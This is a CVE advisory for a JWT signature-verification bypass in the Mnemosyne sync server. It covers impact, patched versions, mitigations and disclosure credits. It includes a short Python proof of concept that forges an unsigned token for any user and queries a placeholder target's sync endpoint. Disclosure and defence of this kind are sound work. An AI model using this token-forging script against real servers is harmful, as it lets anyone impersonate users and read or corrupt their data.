CVE-2026-59163 — Vulnerability in mnemosyne-memory — CVE Details

### Summary The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data. **Severity: Critical** CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model. ### Affected versions All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0. ### Patched versions v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification) ___ ### Description The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key. The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library: - Constant-time signature comparison via hmac.compare_digest - Strict alg: HS256 check, rejecting none and other algorithms - UTC-aware exp validation with leeway - Loud errors with specific failure reasons - Type validation of decoded payload before use ### Impact An attacker with network access to the sync server can: - Forge a JWT for any user_id without knowing the secret - Authenticate as that user to /sync/status, /sync/push, and /sync/pull - Read the victim's sync state - Push malicious sync state to corrupt the victim's local database - Pivot within a shared deployment (multi-user sync server) Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability. ### Reproduction ```python import base64 import json import requests # Forge a JWT for any user. No secret required. def forge_jwt(user_id): header = base64.urlsafe_b64encode( json.dumps({"alg": "HS256", "typ": "JWT"}).encode() ).rstrip(b"=") payload = base64.urlsafe_b64encode( json.dumps({"user_id": user_id, "exp": 9999999999}).encode() ).rstrip(b"=") sig = b"" return f"{header.decode()}.{payload.decode()}." r = requests.get( "https://target.example.com/sync/status", headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"}, ) print(r.status_code, r.json()) ``` A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access. ### Mitigation Upgrade to v3.10.1. For users who cannot upgrade immediately: - Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable. - The vulnerability is not exploitable against an unreachable endpoint. ### Workarounds None. The patch is required to restore authentication integrity. ### Credits - Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window. - Fix: Denis Hache ### Timeline - 2026-06-13: Initial report received from Denis via private channel.